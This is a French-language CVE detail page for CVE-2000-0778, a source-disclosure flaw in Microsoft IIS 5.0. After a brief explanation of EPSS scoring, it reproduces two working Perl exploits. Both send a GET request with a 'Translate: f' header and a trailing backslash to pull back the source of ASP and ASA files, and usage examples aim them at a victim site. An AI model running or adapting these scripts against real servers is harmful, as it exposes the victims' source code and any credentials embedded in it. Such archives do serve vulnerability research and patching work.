CVE-2000-0778 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/1578/info Microsoft IIS 5.0 has a dedicated scripting engine for advanced file types such as ASP, ASA, HTR, etc. files. The scripting engines handle requests for these file types, processes them accordingly, and then executes them on the server. It is possible to force the server to send back the source of known scriptable files to the client if the HTTP GET request contains a specialized header with 'Translate: f' at the end of it, and if a trailing slash '/' is appended to the end of the URL. The scripting engine will be able to locate the requested file, however, it will not recognize it as a file that needs to be processed and will proceed to send the file source to the client. #!/usr/bin/perl # Expl0it By smiler@vxd.org # Tested with sucess against IIS 5.0. Maybe it works against IIS 4.0 = using a shared drive but I haven=B4t tested it yet. # Get the source code of any script from the server using this exploit. # This code was written after Daniel Docekal brought this issue in = BugTraq. # Cheers 351 and FractalG :) if (not $ARGV[0]) { print qq~ Geee it=B4s running !! kewl :))) Usage : srcgrab.pl <complete url of file to retrieve> Example Usage : srcgrab.pl http://www.victimsite.com/global.asa U can also save the retrieved file using : srcgrab.pl = http://www.victim.com/default.asp > file_to_save ~; exit;} $victimurl=$ARGV[0]; # Create a user agent object use LWP::UserAgent; $ua = new LWP::UserAgent; # Create a request my $req = new HTTP::Request GET => $victimurl . '\\'; # Here = is the backslash at the end of the url ;) $req->content_type('application/x-www-form-urlencoded'); $req->content_type('text/html'); $req->header(Translate => 'f'); # Here is the famous translate = header :)) $req->content('match=www&errors=0'); # Pass request to the user agent and get a response back my $res = $ua->request($req); # Check the outcome of the response if ($res->is_success) { print $res->content; } else { print $res->error_as_HTML; }

source: https://www.securityfocus.com/bid/1578/info Microsoft IIS 5.0 has a dedicated scripting engine for advanced file types such as ASP, ASA, HTR, etc. files. The scripting engines handle requests for these file types, processes them accordingly, and then executes them on the server. It is possible to force the server to send back the source of known scriptable files to the client if the HTTP GET request contains a specialized header with 'Translate: f' at the end of it, and if a trailing slash '/' is appended to the end of the URL. The scripting engine will be able to locate the requested file, however, it will not recognize it as a file that needs to be processed and will proceed to send the file source to the client. #!/usr/bin/perl use Socket; ####test arguments if ($#ARGV != 2) {die "usage: DNS_name/IP file_to_get port\n";} #####load values $host = @ARGV[0];$port = @ARGV[2];$target = inet_aton($host);$toget= @ARGV[1]; #####build request $xtosend=<<EOT GET /$toget\\ HTTP/1.0 Host: $host User-Agent: SensePostData Content-Type: application/x-www-form-urlencoded Translate: f EOT ; $xtosend=~s/\n/\r\n/g; ####send request #print $xtosend; my @results=sendraw($xtosend); print @results; #### Sendraw - thanx RFP rfp@wiretrip.net sub sendraw { # this saves the whole transaction anyway my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ my @in; select(S); $|=1; print $pstr; while(<S>){ push @in, $_; print STDOUT "." if(defined $args{X});} select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); } }